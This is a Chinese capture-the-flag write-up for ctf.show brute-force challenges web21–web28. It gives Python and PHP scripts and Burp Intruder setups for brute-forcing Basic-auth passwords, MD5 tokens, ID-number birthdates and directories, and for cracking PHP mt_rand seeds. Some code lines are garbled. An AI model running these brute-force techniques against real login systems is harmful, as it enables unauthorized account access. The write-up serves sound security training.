web21
爆破什么的,都是基操
要求我们登录,但是什么都没给,只能通过爆破来登录
利用题目给我们的字典和burp进行爆破,先抓包
查看请求头看见账号密码是以base64
编码形式发送的,解密一下可看见格式是账号:密码
,先发送到Intruder
中
攻击方式选择狙击手(Sniper)
,将要爆破的字段添加变量,然后点击Payloads
接下来开始爆破,选择自定义迭代器
,猜测用户名是admin
,并且:
也是固定的
在位置1添加admin:
位置2导入密码字典
在下面有效负载处理添加base64编码
注意不要选择url编码字符
然后返回点开始攻击
爆破出结果后按照长度排序(不然很难找),得到flag
也可以用脚本来爆破
import time
import requests
import base64
url = 'http://f3975ea2-66c3-456e-9161-3284b75296e5.challenge.ctf.show/index.php'
password = []
with open("1.txt", "r") as f:
while True:
data = f.readline()
if data:
password.append(data)
else:
break
for p in password:
strs = 'admin:'+ p[:-1]
header={
'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
}
rep =requests.get(url,headers=header)
time.sleep(0.2)
if rep.status_code ==200:
print(rep.text)
break
跑出结果
web22
域名也可以爆破的,试试爆破这个ctf.show的子域名
但是域名更新后,flag.ctf.show域名失效
内容是flag{ctf_show_web},直接交就可以了
web23
还爆破?这么多代码,告辞!
打开后得到源码
<?php
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
简单阐述一下要求,需要我们传入名为token
的值,该值经过md5加密后要他的第1,14,17位的值都相等,并且第1,14,17,31的值是整数并且第1,14,17位的值相加之后除以第1位的值等于第31位的值
也就是第一位=第十四位=第十七位,(第一位+第十四位+第十七位)/第一位=第三十一位
所以按理来说我们手打肯定是手打不出来的,只能进行爆破,可以用burpsuite也可以用python脚本爆破
利用python脚本进行爆破
import requests
a = "abcdefghijklmnopqrstuvwxyz0123456789"
for i in a:
for j in a:
url ="http://048957b6-3785-4da9-8d0c-d03fcbc11f40.challenge.ctf.show/?token="+str(i)+str(j)
req = requests.get(url=url).text
if "ctf" in req:
print(req)
exit()
else:
print(url)
#3j
#此方法爆破较慢
运行后得到flag
或者我们根据源代码编写可以直接得出token值的脚本
import hashlib
a = '0123456789abcdefghijklmnopqrstuvwxyz'
for i in a:
for j in a:
t = (str(i)+str(j)).encode('utf-8')
md5 = hashlib.md5(t).hexdigest()
if md5[1:2] == md5[14:15] == md5[17:18]:
if (int(md5[1:2])+int(md5[14:15])+int(md5[17:18]))/int(md5[1:2]) == int(md5[31:32]):
print(t)
#运行后得到3j
然后构造payload:
http://048957b6-3785-4da9-8d0c-d03fcbc11f40.challenge.ctf.show/?token=3j
得到flag
web24
爆个🔨
打开环境得到源码
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
?>
看到mt_scrand
便可以知道伪随机数
mt_scrand(seed)这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机 数。 提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数 因此不需要播种,并且如果设置了 seed参数 生成的随机数就是伪随机数,意思就是每次生成的随机数 是一样的
直接运行
<?php
mt_srand(372619038);
echo mt_rand();
?>
#1155388967
传参给r
,payload:
http://da6cb045-cbb6-455e-a455-416260094822.challenge.ctf.show/?r=1155388967
访问后得到flag
web25
爆个🔨,不爆了
打开环境后得到源码
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
代码解释
mt_srand(hexdec(substr(md5($flag), 0,8)));
: 这里使用$flag
变量的值前八位经过md5加密并通过hexdec
转换为十进制后作为种子来初始化 Mersenne Twister 随机数生成器 (mt_srand
函数)。
$rand = intval($r) - intval(mt_rand());
: 这一行生成一个随机数并将其保存在$rand
变量中。它首先将 “r” 参数转换为整数,并从这个整数中减去由 Mersenne Twister 生成的随机整数
if ((!$rand)) { ... } else { ... }
: 这是另一个条件判断。如果$rand
的值为0(也就是说 “r” 参数与生成的随机数相等),则进入if
块,否则进入else
块。
if ($_COOKIE['token'] == (mt_rand() + mt_rand())) { ... }
: 在进入if
块中之前,会检查$_COOKIE['token']
是否等于两次调用 Mersenne Twister 生成的随机整数之和。
所以条件还是很苛刻的,但是我们这里不需要来爆破cookie
的值
解释一下为什么每一次的mt_rand()+mt_rand()不是第一次的随机数相加,因为生成的随机数可以说是一个线性变换(实际上非常复杂),每一次是确定的但是并不一样,所以不能 进行第一次*2就得到mt_rand()+mt_rand(),所以说只要我们得到种子就可以在本地进行获得自己想要的值解题
通过?r=0
得到随机数,这里我得到的是-498526549
(因为flag的值不一样),把负号去掉就是498526549
这里利用php_mt_seed
反解可能存在的seed值
php_mt_seed
是c语言编写的爆破随机数序列种子的工具。其项目官网为:https://www.openwall.com/php_mt_seed/
github地址为:https://github.com/openwall/php_mt_seed
Linux安装在shell界面输入
git clone https://github.com/openwall/php_mt_seed.git #kali
cd php_mt_seed
make
time ./php_mt_seed 498526549 #这里替换成自己得到的值
得到种子
这里我们得到的只是种子,运行脚本得到MT生成的随机数
<?php
mt_srand(602248335);
echo mt_rand()."\n";
echo mt_rand()+mt_rand();
运行得到结果
可以看到第一个随机数是当我们?r=0
的时候的值,但是每个种子第二个值是不同的
运行的时候注意一下自己的php版本,从返回的数据包可以看出是php7,所以运行的时候也要用php7,用php5跑出来的结果不对
种子第一个值相同,但是第二个值不同,如果token传进去没有爆出flag,就换一个种子
传入值,使r=498526549
,token=2174216893
关于这里为什么要?r=1506176142
因为
if((!$rand)){ if($_COOKIE['token']==(mt_rand()+mt_rand())){ echo $flag; }
只有在rand不存在时,_COOKIE[‘token’]==(mt_rand()+mt_rand() 才能执行,而1506176142是我们在传?r=0时页面输出的随机数,此时的rand = mt_rand()即第一个生成的随机数,因此只要我们使r=mt_rand()=1506176142,就能让$rand=0,从而执行接下来的代码
利用burp发包,得到flag
web26
这个可以爆
点击同意协议后可以看到源代码
利用burp抓包,但是不知道为什么值为空的时候是可以得到flag的
按正常操作来一次,这里输入之后会有回显
Unicode
解码一下
应该是密码不正确,利用密码字典进行爆破,流程比第一题简单
爆破出来密码是7758521
,输入得到flag
web27
CTFshow菜鸡学院招生啦!
学生学籍信息查询系统
,可以通过姓名和身份证号来进行查询
下载录取名单,发现身份证号少了出生年月日
我们需要爆破出生年月日,先利用burp抓包,然后进行爆破
将中间的未知部分添加变量
将有效载荷类型选为date
,然后设置日期,格式变成yyyyMMdd
,然后开始爆破
爆破得到结果
621022199002015237
,身份证号
这里不要用火狐抓包打这道题,有点问题,用Chrome
可以看看返回头
Unicode解码一下
根据提示输入账号密码,得到flag
也可以脚本跑出生年月日
<?php
//621022********5237
$myfile = fopen("zid.txt", "w") or die("Unable to open file!");
for($year=1990;$year<1993;$year++){
for($mon=1;$mon<10;$mon++){
for($day=01;$day<10;$day++)
{
$txt=('621022'.$year.'0'.$mon.'0'.$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
or($year=1990;$year<1993;$year++){
for($mon=1;$mon<10;$mon++){
for($day=10;$day<=31;$day++)
{
$txt=('621022'.$year."0".$mon.$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
or($year=1990;$year<1993;$year++){
for($mon=10;$mon<=12;$mon++){
for($day=10;$day<=31;$day++)
{
$txt=('621022'.$year.$mon.$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
or($year=1990;$year<1993;$year++){
for($mon=10;$mon<=12;$mon++){
for($day=01;$day<10;$day++)
{
$txt=('621022'.$year.$mon."0".$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
close($myfile);
web28
大海捞针
观察url
猜测是爆破目录,所以利用burp抓包然后爆破
爆破的时候只爆破目录即可,把2.txt
去掉,攻击模式选择集束炸弹(Clusterbomb)
然后两个载荷全部配置成数值,范围是0-100
开始攻击,爆破得出flag